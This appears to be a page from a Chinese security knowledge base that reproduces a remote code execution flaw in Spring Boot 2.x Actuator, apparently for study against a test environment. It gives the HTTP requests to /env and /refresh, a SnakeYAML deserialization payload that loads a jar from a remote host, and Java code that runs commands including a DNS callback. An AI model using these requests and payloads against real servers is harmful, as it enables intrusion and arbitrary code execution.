menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 120-Spring Boot chevron_right 004-Spring Boot 修改环境属性导致的rce.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    004-Spring Boot 修改环境属性导致的rce.md
    2.57 KB / 2021-07-17 00:01:20
        # Spring Boot 修改环境属性导致的rce
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    Spring Boot 2.x
    
    ### 三、复现过程
    
    环境下载 https://github.com/ianxtianxt/actuator-testbed
    
    
    ```
    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 59
     
    spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
    ```
    
    该请求修改了“ spring.cloud.bootstrap.location”属性,该属性用于加载外部配置并以YAML格式解析它。为了做到这一点,我们还需要调用“ / refresh”端点。
    
    
    ```
    POST /refresh HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    ```
    
    从远程服务器获取YAML配置时,将使用SnakeYAML库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以通过使用前述的Marshalsec研究生成:
    
    
    ```
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
      ]]
    ]
    ```
    
    该文件的反序列化将触发提供的URLClassLoader的ScriptEngineManager构造函数的执行。简而言之,它导致了**'java.util.ServiceLoader#load(java.lang.Class ,java.lang.ClassLoader)'**方法,该方法试图在所有库中查找'ScriptEngineFactory'接口的所有实现。在类路径中。由于我们可以通过URLClassLoader添加新的库,因此我们可以在其中包含恶意字节码的情况下为新的'ScriptEngineFactory'提供服务。为此,我们需要使用以下必需文件创建一个jar归档文件:https://github.com/ianxtianxt/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java应该包含实际的字节码,并在构造函数中带有恶意负载。
    
    
    ```
    public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
     
        public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
                Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
            } catch (IOException e) {
                e.printStackTrace();
            }
    ```
            
    `https://github.com/ianxtianxt/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory`应该只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件,以便ServiceLoader知道在哪里可以找到该类:artsploit.AwesomeScriptEngineFactory同样,这种利用技术要求弹簧云位于类路径中,但是与Eureka的XStream有效负载相比,它甚至可以在最新版本中使用
    
    links
    file_download